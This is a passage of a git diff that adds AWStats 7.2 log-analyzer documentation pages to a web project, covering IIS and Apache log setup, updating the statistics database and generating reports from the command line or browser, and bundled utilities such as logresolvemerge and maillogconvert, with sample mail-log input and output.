the <a href="awstats_config.html#LogFile">LogFile</a> +value. It should be the full path of your server log file (You +can also use a relative path from your awstats.pl directory, but a full +path avoids errors).<br> +- Verify the <a href="awstats_config.html#LogType">LogType</a> +value. It should be "W" for analyzing +web log files.<br> +- Check if <a href="awstats_config.html#LogFormat">LogFormat</a> is +set to "1" (for "NCSA apache combined/ELF/XLF log format") +or use a custom log format if you don't use the combined log format.<br> +- Set the <a href="awstats_config.html#SiteDomain">SiteDomain</a> +parameter to the main domain name or the intranet web server name +used to reach the web site to analyze (Example: www.mysite.com). If +you have several +possible names for same site, use the main domain name and add the +others to the list in the <a href="awstats_config.html#HostAlias">HostAlias</a> +parameter.<br> +- You can also change other parameters if you want. The full list is +described in <a href="awstats_config.html">Configurations/Directives +options</a> page.<br> +<br> +Installation and configuration is finished. You can jump to the <a + href="#BUILD_UPDATE">Process logs: Building/updating statistics +database</a> section.<br> +<br> +<br> +<br> +<a name="INSTALLIIS"><b>B) Setup for Microsoft's IIS server</b></a><br> +<br> +<font style="color: rgb(17, 17, 85);"><b>* Step 1</b>:</font><br> +<br> +Configure IIS to create logs in the <b>"Extended W3C log format"</b> (You can +still use +your own custom log format but setup is easier if you use the standard +extended format). To do so, start the IIS management console snap-in, +select the +appropriate web site and open its +<span style="font-weight: bold;">Properties</span>. Choose "<span + style="font-weight: bold;">W3C Extended Log Format</span>", then <span + style="font-weight: bold;">Properties</span>, then the +Tab "<span style="font-weight: bold;">Extended Properties</span>" and +uncheck everything under Extended +Properties. +Once they are all cleared, check just the following fields:<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +date<br> +time<br> +c-ip<br> +cs-username<br> +cs-method<br> +cs-uri-stem<br> +cs-uri-query<br> +sc-status<br> +sc-bytes<br> +cs-version<br> +cs(User-Agent)<br> +cs(Referer)<br> +</td></tr></table> +<br> +To be sure the log format change is effective, you must stop IIS, +backup it up (if you desire) and remove all of the old log files, restart IIS and go to +your homepage. This is an example of the type of records you should +find in the +new log file:<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 +Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) +http://www.from.com/from.htm +</td></tr></table> +<br> + +<font style="color: rgb(17, 17, 85);"><b>* Step 2</b>:</font><br> +<br> +Copy the contents of the AWStats provided cgi-bin folder, from where +the AWStats package put it on your local hard +drive, +to your server's cgi-bin +directory (this includes <b>awstats.pl</b>, <b>awstats.model.conf</b>, +and the <b>lang</b>, <b>lib</b> and <b>plugins</b> sub-directories).<br> +<br> +<font style="color: rgb(17, 17, 85);"><b>* Step 3</b>:</font><br> +<br> +Move AWStats <b>icon sub-directories</b> and its content into a +directory readable by your +web server, for example C:\yourwwwroot\icon.<br> +<br> +<font style="color: rgb(17, 17, 85);"><b>* Step 4</b>:</font><br> +<br> +Create a configuration file by copying <b>awstats.model.conf</b> to a +new file named <b>awstats.<span style="font-style: italic;">mysite</span>.conf</b> +where "<span style="font-style: italic;">mysite</span>" is a +value of your choice but usually is the domain or virtual host name. +This new file must be saved in the same directory as awstats.pl (i.e. +cgi-bin).<br> +<br> +<font style="color: rgb(17, 17, 85);"><b>* Step 5</b>:</font><br> +<br> +Edit your new <b>awstats.<span style="font-style: italic;">mysite</span>.conf</b> +file to match your specific environment:<br> +- Change the <a href="awstats_config.html#LogFile">LogFile</a> value +to the +full path of your web server log file (You +can also use a relative path from your awstats.pl (cgi-bin) directory).<br> +- Change the <a href="awstats_config.html#LogType">LogType</a> value +to +"W" for analyzing +web log files.<br> +- Change the <a href="awstats_config.html#LogFormat">LogFormat</a> to +2 if you are using the <b>"Extended W3C log format"</b> described in +step 1; in the case of a custom format, list the IIS fields +being logged, for example:<br> +<i>LogFormat="date time c-ip cs-username cs-method cs-uri-stem +cs-uri-query sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)"</i><br> +- Change the <a href="awstats_config.html#DirIcons">DirIcons</a> +parameter +to reflect relative path of icon directory.<br> +- Set the <a href="awstats_config.html#SiteDomain">SiteDomain</a> +parameter to the main domain name or the intranet +web server name used to reach the web site being analyzed (Example: +www.mydomain.com).<br> +- Set the <a href="awstats_config.html#AllowToUpdateStatsFromBrowser">AllowToUpdateStatsFromBrowser</a> +parameter to 1 if you don't have command line access and have only cgi +access.<br> +- Review and change other parameters if appropriate.<br> +<br> +Installation and configuration is finished. You can jump to the <a + href="#BUILD_UPDATE">Process logs: Building/Updating statistics +database</a> section.<br> +<br> +<b>C) Setup for other web servers</b><br> +<br> +The setup process is similar to the setup for Apache or IIS.<br> +Use <a href="awstats_config.html#LogFormat">LogFormat</a> to value "3" +if you have WebStar native log format. +Use a personalized <a href="awstats_config.html#LogFormat">LogFormat</a> +if your log format is other.<br> +<br> +<b>D) Setup for other Internet servers, i.e. FTP, Mail, Streaming media</b><br> +<br> +The setup process for other file formats is described in the relevant +FAQ topics: +<a href="awstats_faq.html#FTP">FAQ-COM090: FTP</a> +<a href="awstats_faq.html#MAIL">FAQ-COM100: Mail</a> and <a + href="awstats_faq.html#MEDIASERVER">FAQ-COM110: Streaming media</a>.<br> +<br> + +<br> +<a name="BUILD_UPDATE"> +<h2 style=""><u>II. Process logs: Building/updating statistics database</u></h2> +</a><br> +<font style="color: rgb(17, 17, 85);"><b>* Update from command line (recommended)</b>:</font><br> +<br> +The first log analysis should be done +manually from the command line since the +process may be long and it's easier to solve problems when you can see +the +command output (if you don't +have Command Line access, skip to Step 2). The +AWStats create (and update) statistics database command is:<br> +<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +perl awstats.pl -config=mysite -update +</td></tr></table> +<br> +where <span style="font-style: italic;">mysite</span> must +be substituted with the domain/virtual host name you selected earlier +during AWStats configuration.<br> +<br> +AWStats will read the configuration file awstats.mysite.conf +(or if +not found, awstats.conf) +and create/update its database with all summary information issued from +analyzed log file.<br> +<br> +AWStats statistics database files are saved in directory defined by the +<a href="awstats_config.html#DirData">DirData</a> parameter in +configuration file.<br> +When the create/update is finished, you should see a similar result on +your screen:<br> +<br> +<table width="95%" border=1 cellpadding=0 cellspacing=0 bgcolor=#F4F4F4 class=CFAQ><tr class=CFAQ><td class=CFAQ> +Update for config "/etc/awstats/awstats.mysite.conf"<br> +With data in log file "/pathtoyourlog/yourlog.log"...<br> +Phase 1 : First bypass old records, searching new record...<br> +Searching new records from beginning of log file...<br> +Phase 2 : Now process new records (Flush history on disk after 20000 +hosts)...<br> +Jumped lines in file: 0<br> +Parsed lines in file: 225730<br> + Found 122 dropped records,<br> + Found 87 corrupted records,<br> + Found 0 old records,<br> + Found 225521 new qualified records.<br> +</td></tr></table> +<br> +<b>Dropped records</b> are records discarded because they were not +"user HTTP requests" or were requests matching AWStats filters (See the +<a href="awstats_config.html#SkipHosts">SkipHosts</a>, +<a href="awstats_config.html#SkipUserAgents">SkipUserAgents</a>, +<a href="awstats_config.html#SkipFiles">SkipFiles</a>, <a + href="awstats_config.html#OnlyHosts">OnlyHosts</a>, +<a href="awstats_config.html#OnlyUserAgents">OnlyUserAgents</a> and <a + href="awstats_config.html#OnlyFiles">OnlyFiles</a> parameters). +If you want to see which lines were dropped, you can add the <b>-showdropped</b> +option on the command line.<br> +<br> +<b>Corrupted records</b> are records that do not match the log format +defined by the "LogFormat" parameter in the AWStats configuration file. +All web servers will typically have a few corrupted records +(<5%) even when everything works correctly. +This can result for several reasons: 1) Web server internal bugs, +2) bad requests made by buggy browsers, 3) a dirty web server shutdown, +such as unplugging the server... <br> +<br> +If all of your lines are corrupted and the <a + href="awstats_config.html#LogFormat">LogFormat</a> parameter in +AWStats configuration file is +correct, then there may be a setup problem with your web server log format. +Don't forget that +your <a href="awstats_config.html#OnlyFiles">LogFormat</a> parameter +in the AWStats configuration file MUST match +the log file format you analyze. If you want to see which lines +are corrupted, you can add the <b>-showcorrupted</b> +option on the command line.<br> +<br> +<b>Old records</b> are simply records that were already processed by a +previous update session. +Although it is not necessary to purge your log file after +each update process, it is highly recommended that you do so as often +as possible.<br> +<br> +<b>New records</b> are records in your log file that were successfully +used to build/update the statistics database.<br> +<br> +Note: A log analysis process might be slow (one second for each 4500 +lines of your +logfile with an Athlon 1Ghz, plus DNS resolution time for each +different +IP +address in your logfile if <a href="awstats_config.html#DNSLookup">DNSLookup</a> +is set to 1 and not already done in your log file). See the <a + href="awstats_benchmark.html">Benchmarks page</a> for more detailed +information.<br> +<br> +<!-- <span style="font-weight: bold;">Flush history </span>messages referer +to ... (Flush history on disk after 20000 hosts). Flush history +file on disk (unique url reach flush limit of 5000 --> + +<br> +<font style="color: rgb(17, 17, 85);"><b>* Update from a browser</b>:</font><br> +<br> +AWStats statistics can also be updated from a browser, providing +real-time statistics, by clicking +the "Update now" link that appears when AWStats is used as a CGI (The +URL is described in the next +section '<a href="#READ">Run reports: Building and reading reports</a>').<br> +<br> +<b>Warning</b>!!<br> +To enable this link, the configuration file parameter <a + href="awstats_config.html#AllowToUpdateStatsFromBrowser">AllowToUpdateStatsFromBrowser</a> +must be set to 1 (The link is not enabled by +default).<br> +Using the on-line update does not prevent you from running the update +process automatically on a scheduled basis (the command is same as that +of the first update process above).<br> +For this, you have two choices:<br> +- Include the update command in your <b>logrotate</b> process. See <a + href="awstats_faq.html#ROTATE">FAQ-COM120</a> for details.<br> +- Or add instructions in your <b>crontab</b> (Unix/Linux) or your <b>task +scheduler</b> (Windows), to regularly launch the Awstats update +process. See <a href="awstats_faq.html#CRONTAB">FAQ-COM130</a> for +details.<br> +<br> +See the AWStats <a href="awstats_benchmark.html">Benchmarks page</a> +for +the recommended update/logrotate frequency.<br> +<br> + +<br> +<a name="READ"> +<h2 style=""><u>III. Run reports: Building and reading reports</u></h2> +</a><br> +To see the analysis results, you have several options depending on your +<a href="awstats_security.html">security policy</a>.<br> +<br> +Note: you must have created a statistics data base for the analysis +period by processing your +log files before you try to create reports. See the previous +section.<br> +<br> +1. The first option is to build the main reports, in a static HTML +page, +from the command line, +using the following syntax (skip to the second option if you only have +CGI access):<br> +<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +perl awstats.pl -config=mysite -output -staticlinks +> awstats.mysite.html +</td></tr></table> +<br> +where <span style="font-style: italic;">mysite</span> must +be substituted with the domain/virtual host name you selected earlier +during AWStats configuration.<br> +<br> +To create specific individual reports, specify the report name on the +command +line as follows¹:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +perl awstats.pl -config=mysite -output=alldomains +-staticlinks > awstats.mysite.alldomains.html<br> +perl awstats.pl -config=mysite -output=allhosts +-staticlinks > awstats.mysite.allhosts.html<br> +perl awstats.pl -config=mysite -output=lasthosts +-staticlinks > awstats.mysite.lasthosts.html<br> +perl awstats.pl -config=mysite -output=unknownip +-staticlinks > awstats.mysite.unknownip.html<br> +perl awstats.pl -config=mysite -output=alllogins +-staticlinks > awstats.mysite.alllogins.html<br> +perl awstats.pl -config=mysite -output=lastlogins +-staticlinks > awstats.mysite.lastlogins.html<br> +perl awstats.pl -config=mysite -output=allrobots +-staticlinks > awstats.mysite.allrobots.html<br> +perl awstats.pl -config=mysite -output=lastrobots +-staticlinks > awstats.mysite.lastrobots.html<br> +perl awstats.pl -config=mysite -output=urldetail +-staticlinks > awstats.mysite.urldetail.html<br> +perl awstats.pl -config=mysite -output=urlentry +-staticlinks > awstats.mysite.urlentry.html<br> +perl awstats.pl -config=mysite -output=urlexit +-staticlinks > awstats.mysite.urlexit.html<br> +perl awstats.pl -config=mysite -output=browserdetail +-staticlinks > awstats.mysite.browserdetail.html<br> +perl awstats.pl -config=mysite -output=osdetail +-staticlinks > awstats.mysite.osdetail.html<br> +perl awstats.pl -config=mysite -output=unknownbrowser +-staticlinks > awstats.mysite.unknownbrowser.html<br> +perl awstats.pl -config=mysite -output=unknownos +-staticlinks > awstats.mysite.unknownos.html<br> +perl awstats.pl -config=mysite -output=refererse +-staticlinks > awstats.mysite.refererse.html<br> +perl awstats.pl -config=mysite -output=refererpages +-staticlinks > awstats.mysite.refererpages.html<br> +perl awstats.pl -config=mysite -output=keyphrases +-staticlinks > awstats.mysite.keyphrases.html<br> +perl awstats.pl -config=mysite -output=keywords +-staticlinks > awstats.mysite.keywords.html<br> +perl awstats.pl -config=mysite -output=errors404 +-staticlinks > awstats.mysite.errors404.html<br> +</td></tr></table> +<br> +¹If you prefer, you can use the <a + href="awstats_tools.html#awstats_buildstaticpages">awstats_buildstaticpages</a> +tool to +build all these pages in one command, or to generate PDF files.<br> +<br> +Notes:<br> +<br> +a) You can also add a <i>filter</i> on the following reports: <b>urldetail, +urlentry, urlexit, allhosts, refererpages</b>. The <i>filter</i> +can be a regexp (regular expression) on the full key you want AWStats +to report on and is appended to the output +parameter separated by a ":".<br> +<br> +For example, to output the urldetail report, including only pages which +contain /news in their URL, you +can use the following command line:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +perl awstats.pl -config=mysite -output=urldetail:</b>/news<b> +-staticlinks > awstats.mysite.urldetailwithfilter.html</b> +</td></tr></table> +<br> +b) If you want to build a report for a particular month, add +the options <i><b>-month=MM -year=YYYY</b></i> where MM is the month +expressed as two digits, i.e. 03, and year is the four digit +year. To build a +report for a full year, add the options <i><b>-month=all -year=YYYY</b></i> +(warning: this is often resource intensive and might use a lot of +memory +and CPU. Unix/Linux like operating systems might benefit from use +of the "nice" command.)<br> +<br> +<br> +2) The second option is to dynamically view your statistics from a +browser. To do this, use the URL:<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +http://www.myserver.mydomain/awstats/awstats.pl?config=mysite +</td></tr></table> +<br> +where <i>mysite</i> specifies the configuration +file to +use (AWStats will use the file awstats.<i>mysite</i>.conf).<br> +<br> +All output command line options (except -staticlinks and -logfile) are +also available when using AWStats with a browser. Just use them as URL +parameters: change "-option" to +"&option", i.e. <b><i>http://www.myserver.mydomain/awstats/awstats.pl?month=MM&year=YYYY&output=unknownos</i></b><br> +<br> +Reports are generated in real time from the statistics data +base. If this is slow, or putting too much load on your server, +consider generating static reports instead.<br> +<br> +If the <a href="awstats_config.html#AllowToUpdateStatsFromBrowser">AllowToUpdateStatsFromBrowser</a> +parameter is set to 1 in AWStats configuration file, +you will also be able to run the update process from your browser. Just +click on the link "Update now".<br> +<br> +<br> +<hr> +<script language="javascript"> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body> +</html> diff --git a/src/main/webapp/monitoramento/docs/awstats_tools.html b/src/main/webapp/monitoramento/docs/awstats_tools.html new file mode 100644 index 0000000..bba520b --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_tools.html @@ -0,0 +1,201 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html><head> +<meta name="description" content="AWStats Documentation - Other tools"> +<meta name="keywords" content="awstats, awstat, tools, utilities, awstats_buildstaticpages, logresolvemerge, common2combined"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Other tools"> + +<title>AWStats Documentation - Other tools</title><link rel="stylesheet" href="styles.css" type="text/css"><!-- $Revision: 1.53 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --></head> + +<body topmargin="10" leftmargin="5"> + + +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> + +<!-- Large --> +<tbody><tr style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +<td align="center" bgcolor="#9999cc"><a href="/"><img src="images/awstats_logo4.png" border="0"></a></td> +<td align="center" bgcolor="#9999cc"> +<br> +<font style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" color="#eeeeff"><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td align="center" bgcolor="#9999cc"> + +</td> +</tr> + +</tbody></table> + + +<br><br><h1 style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Other utilities</h1> + +<br> +This is a list of other tools provided with AWStats.<br> +All those tools are available in <b>tools</b> directory of AWStats distribution.<br> +<br><br> + +<!-- +<br> +<br><a name="awstats_configure"><H2 style="font: 18px arial,helvetica,sans-serif color: #606060"><u>awstats_configure.pl</u></H2></a> +<br>This script creates one config file for each web servers provided by Apache. +<br>After running this tool, AWStats can immediatly be used.<br> +<br> +<br> This tool is not yet available... + +<br> +<br> +--> + +<br> +<br><a name="awstats_updateall"><h2 style=""><u>awstats_updateall.pl</u></h2></a> +<br>awstats_updateall launches update process for all AWStats config files (except +<br>awstats.model.conf) found in a particular directory, so you can easily setup a +<br>cron/scheduler job. The scanned directory is by default /etc/awstats. +<br> +<br>Usage: awstats_updateall.pl now [options] +<br> +<br>Where options are: +<br> -awstatsprog=pathtoawstatspl +<br> -configdir=confdirtoscan + +<br> +<br> + +<br> +<br><a name="awstats_buildstaticpages"><h2 style=""><u>awstats_buildstaticpages.pl</u></h2></a> +<br>awstats_buildstaticpages allows you to launch AWStats with -staticlinks option +<br>to build all possible pages allowed by AWStats -output option. +<br> +<br>Usage: +<br>awstats_buildstaticpages.pl (awstats_options) [awstatsbuildstaticpages_options] +<br> +<br> where awstats_options are any option known by AWStats +<br> -config=configvalue is value for -config parameter (REQUIRED) +<br> -update option used to update statistics before to generate pages +<br> -lang=LL to output a HTML report in language LL (en,de,es,fr,...) +<br> -month=MM to output a HTML report for an old month=MM +<br> -year=YYYY to output a HTML report for an old year=YYYY +<br> +<br> and awstatsbuildstaticpages_options can be +<br> -awstatsprog=pathtoawstatspl gives AWStats software (awstats.pl) path +<br> -dir=outputdir to set output directory for generated pages +<br> -builddate=%YY%MM%DD Used to add build date in built pages filenames +<br> -staticlinksext=xxx For pages with .xxx extension instead of .html +<br> -buildpdf[=pathtohtmldoc] Build a PDF file after building HTML pages. +<br> Output directory must contains icon directory +<br> when this option is used (need 'htmldoc'). +<br> +<br>New versions and FAQ at http://www.awstats.org + +<br> +<br> + +<br> +<br><a name="logresolvemerge"><h2 style=""><u>logresolvemerge.pl</u></h2></a> +logresolvemerge allows you to get one unique output log file, sorted on date,<br>built from particular sources:<br> - It can read several input log files,<br> - It can read .gz/.bz2 log files,<br> - It can also makes a fast reverse DNS lookup to replace<br> all IP addresses into host names in resulting log file.<br>logresolvemerge comes with ABSOLUTELY NO WARRANTY. It's a free software<br>distributed with a GNU General Public License (See COPYING.txt file).<br>logresolvemerge is part of AWStats but can be used alone as a log merger<br>or resolver before using any other log analyzer.<br><br>Usage:<br> logresolvemerge.pl [options] file<br> logresolvemerge.pl [options] file1 ... filen<br> logresolvemerge.pl [options] *.*<br> perl logresolvemerge.pl [options] *.* > newfile<br>Options:<br> -dnslookup make a reverse DNS lookup on IP adresses<br> -dnslookup=n same with a n parallel threads instead of serial requests<br> -dnscache=file make DNS lookup from cache file first before network lookup<br> -showsteps print on stderr benchmark information every 8192 lines<br> -addfilenum if used with several files, file number can be added in first<br> -addfilename if used with several files, file name can be added in first<br> +field of output file. This can be used to add a cluster id<br> +when log files come from several load balanced computers.<br> -stoponfirsteof Stop processing when any logfile reaches end-of-file.<br> -printfields For IIS or W3C logs, prints the latest field header for<br> +the currentlog file when switching between log file entries<br> +so that the parsercan automatically determine which fields<br> are avaiable.<br> -ignoremissing will not fail if a log file is missing<br><br>This runs logresolvemerge in command line to open one or several<br>server log files to merge them (sorted on date) and/or to make a reverse<br>DNS lookup (if asked). The result log file is sent on standard output.<br>Note: logresolvemerge is not a 'sort' tool to sort one file. It's a<br>software able to output sorted log records (with a reverse DNS lookup<br>included or not) even if log records are dispatched in several files.<br>Each of thoose files must be already independently sorted itself<br>(but that is the case in all web server log files). So you can use it<br>for load balanced log files or to group several old log files.<br><br>Don't forget that the main goal of logresolvemerge is to send log records to<br>a log analyzer in a sorted order without merging files on disk (NO NEED<br>OF DISK SPACE AT ALL) and without loading files into memory (NO NEED<br>OF MORE MEMORY). Choose of output records is done on the fly.<br><br>So logresolvemerge is particularly usefull when you want to output several<br>and/or large log files in a fast process, with no use of disk or<br>more memory, and in a chronological order through a pipe (to be used by a log<br>analyzer).<br><br>Note: If input records are not 'exactly' sorted but 'nearly' sorted (this<br>occurs with heavy servers), this is not a problem, the output will also<br>be 'nearly' sorted but a few log analyzers (like AWStats) knowns how to deal<br>with such logs.<br><br>WARNING: If log files are old MAC text files (lines ended with CR char), you<br>can't run this tool on Win or Unix platforms.<br><br>WARNING: Because of memory holes in ActiveState Perl version, use another<br>Perl interpreter if you need to process large log files.<br><br>Now supports/detects:<br> Automatic detection of log format<br> Files can be .gz/.bz2 files if zcat/bzcat tools are available in PATH.<br> Multithreaded reverse DNS lookup (several parallel requests) with Perl 5.8+.<br>New versions and FAQ at http://www.awstats.org<br> +<br> + +<br> +<br><a name="maillogconvert"><h2 style=""><u>maillogconvert.pl</u></h2></a> +<br>maillogconvert is mail log preprocessor that convert a mail log file (from +<br>postfix, sendmail or qmail servers) into a human readable format. +<br>The output format is also ready to be used by a log analyzer, like AWStats. +<br> +<br>Usage: +<br> perl maillogconvert.pl [standard|vadmin] [year] < logfile > output +<br> +<br>The first parameter specifies what format the mail logfile is : +<br> standard - logfile is standard postfix,sendmail,qmail or mdaemon log format +<br> vadmin - logfile is qmail log format with vadmin multi-host support +<br> +<br>The second parameter specifies what year to timestamp logfile with, if current +<br>year is not the correct one (ie. 2002). Always use 4 digits. If not specified, +<br>current year is used. +<br> +<br>If no output is specified, it goes to the console (stdout). + +<br>For example, the following sample from postfix mail log server: +<br> +<i> +<br># 1 Mail fromuser@aol.com -> touser@toserver.com, forward touser@toserver.com -> touser@mainserver.com +<br>Jan 01 07:27:31 apollon postfix/smtpd[1684]: connect from remt30.cluster1.charter.net[209.225.8.40] +<br>Jan 01 07:27:32 apollon postfix/smtpd[1684]: 2BC793B8A4: client=remt30.cluster1.charter.net[209.225.8.40] +<br>Jan 01 07:27:32 apollon postfix/cleanup[1687]: 2BC793B8A4: message-id=<36027278@vneka> +<br>Jan 01 07:27:32 apollon postfix/qmgr[13860]: 2BC793B8A4: from=<fromuser @aol.com="">, size=2130, nrcpt=1 (queue active) +<br>Jan 01 07:27:32 apollon postfix/smtpd[1684]: disconnect from remt30.cluster1.charter.net[209.225.8.40] +<br>Jan 01 07:27:38 apollon postfix/local[1689]: 2BC793B8A4: to=<touser @mainserver.com="">, orig_to=<touser @toserver.com="">, relay=local, delay=6, status=sent ("|/usr/bin/procmail") +<br># 2 Reject: 450 +<br>Jan 01 14:05:44 apollon postfix/smtpd[2114]: connect from baby.mainframe.nl[81.29.4.2] +<br>Jan 01 14:05:44 apollon postfix/smtpd[2114]: E0C9D3BD9A: client=baby.mainframe.nl[81.29.4.2] +<br>Jan 01 14:05:44 apollon postfix/smtpd[2114]: E0C9D3BD9A: reject: RCPT from baby.mainframe.nl[81.29.4.2]: 450 <touser2 @toserver.com="">: User unknown in local recipient table; from=<> to=<touser2 @toserver.com=""> proto=ESMTP helo=<baby.mainframe.nl> +<br>Jan 01 14:10:16 juni postfix/smtpd[2568]: C34ED1432B: reject: RCPT from relay2.tp2rc.edu.tw[163.28.32.177]: 450 <unknownuser @unknownserver.com="">: User unknown in local recipient table; from=<> proto=ESMTP helo=<rmail.nccu.edu.tw> +<br># 1 From unknown +<br>Jan 01 15:17:05 apollon postfix/smtpd[29866]: connect from tomts12.bellnexxia.net[209.226.175.56] +<br>Jan 01 15:17:05 apollon postfix/smtpd[29866]: 578093B8B5: client=tomts12.bellnexxia.net[209.226.175.56] +<br>Jan 01 15:17:05 apollon postfix/cleanup[28931]: 578093B8B5: +message-id=<20030905131913.EOVH11393.tomts12-srv.bellnexxia.net@tomts12-srv> +<br>Jan 01 15:17:06 apollon postfix/qmgr[965]: 578093B8B5: from=<>, size=109367, nrcpt=1 (queue active) +<br>Jan 01 15:17:06 apollon postfix/local[32432]: 578093B8B5: to=<touser @mainserver.com="">, orig_to=<touser @toserver.com="">, relay=local, delay=1, status=sent ("|/usr/bin/procmail") +<br>Jan 01 15:17:06 apollon postfix/smtpd[29866]: disconnect from tomts12.bellnexxia.net[209.226.175.56] +</touser></touser></rmail.nccu.edu.tw></unknownuser></baby.mainframe.nl></touser2></touser2></touser></touser></fromuser></i> +<br> +<br>will give a file that looks like this: +<br> +<i> +<br>2004-01-01 07:27:38 fromuser@aol.com touser@toserver.com remt30.cluster1.charter.net localhost SMTP - 1 2130 +<br>2004-01-01 14:05:44 <> touser2@toserver.com baby.mainframe.nl - SMTP - 450 0 +<br>2004-01-01 14:10:16 <> unknownuser@unknownserver.com relay2.tp2rc.edu.tw - SMTP - 450 0 +<br>2004-01-01 15:17:06 <> touser@toserver.com tomts12.bellnexxia.net localhost SMTP - 1 109367 +</i> +<br> +<br>See <a href="awstats_faq.html#MAIL">FAQ-COM100</a> to see how to use maillogconvert.pl with AWStats to analyze mail log files. +<br> + +<br> +<br> + +<br> +<br><a name="urlaliasbuilder"><h2 style=""><u>urlaliasbuilder.pl</u></h2></a> +<br>Urlaliasbuilder generates an 'urlalias' file from an input file (an urlalias file +<br>is a file with two columns: url and clear title of url). +<br>The input file must contain a list of URLs (It can be an AWStats history file). +<br>For each of thoose URLs, the script get the corresponding HTML page and catch the +<br>header information (title), then it writes an output file that contains one line +<br>for each URLs and several fields: +<br>- The first field is the URL, +<br>- The second is title caught from web page. +<br>This resulting file can be used by AWStats urlalias plugin. +<br> +<br>Usage: urlaliasbuilder.pl -site=www.myserver.com [options] +<br> +<br>The site parameter contains the web server to get the page from. +<br>Where options are: +<br> -urllistfile=Input urllist file +<br> If this file is an AWStats history file then urlaliasbuilder will use the +<br> SIDER section of this file as its input URL's list. +<br> -urlaliasfile=Output urlalias file to build +<br> -overwrite Overwrite output file if exists (by default appends to file). +<br> -secure Use https protocol +<br> +<br>Example: urlaliasbuilder.pl -site=www.someotherhost.com +<br> +<br>New versions and FAQ at http://www.awstats.org +<br> +<br>This script was written from Simon Waight original works title-grabber.pl. +<br> +<br> + +<br> +<hr> + +<script language="javascript"> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body></html> diff --git a/src/main/webapp/monitoramento/docs/awstats_upgrade.html b/src/main/webapp/monitoramento/docs/awstats_upgrade.html new file mode 100644 index 0000000..2137682 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_upgrade.html @@ -0,0 +1,129 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html> +<head> + <meta name="description" + content="AWStats Documentation - Upgrade setup"> +<meta name="keywords" content="awstats, awstat, udpate, upgrade"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Upgrade setup"> +<title>AWStats Documentation - Upgrade setup</title> +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.22 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --> +</head> +<body topmargin="10" leftmargin="5"> +<table + style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" + bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" + width="100%"> +<!-- Large --> <tbody> + <tr + style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> + <td align="center" bgcolor="#9999cc"><a href="/"><img + src="images/awstats_logo4.png" border="0"></a></td> + <td align="center" bgcolor="#9999cc"> <br> + <font + style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" + color="#eeeeff"><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> + <td align="center" bgcolor="#9999cc"> </td> +</tr> + </tbody> +</table> +<br> +<br> +<h1 + style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Upgrading +AWStats from a previous version</h1> +To upgrade AWStats, all you have +to do is:<br> +<br> +1. Read this page completely before beginning the upgrade.<br> +<br> +2. <b>Optionally backup your AWStats configuration and history +data files</b>.<br> +Standard AWStats distributions do not change these, but +backing them up allows you to recover them if something does go +amiss. The AWStats default distribution will only overwrite the +configuration file example called <i>awstats.model.conf</i>. +Your +history data files are saved in the +directory defined with the DirData parameter in your AWStats +configuration file (awstats.<span style="font-style: italic;">mysite</span>.conf).<br> +<br> +3. <b>Replace AWStats runtime files</b> with the new ones.<br> +To do this you can:<br> +- decompress the new AWStats zip or tgz +package over the old installation directory (old AWStats runtime files +are replaced by new ones. This works for AWStats versions 3.x and +higher).<br> +- or just run your OS package tool (i.e. +rpm, apt for 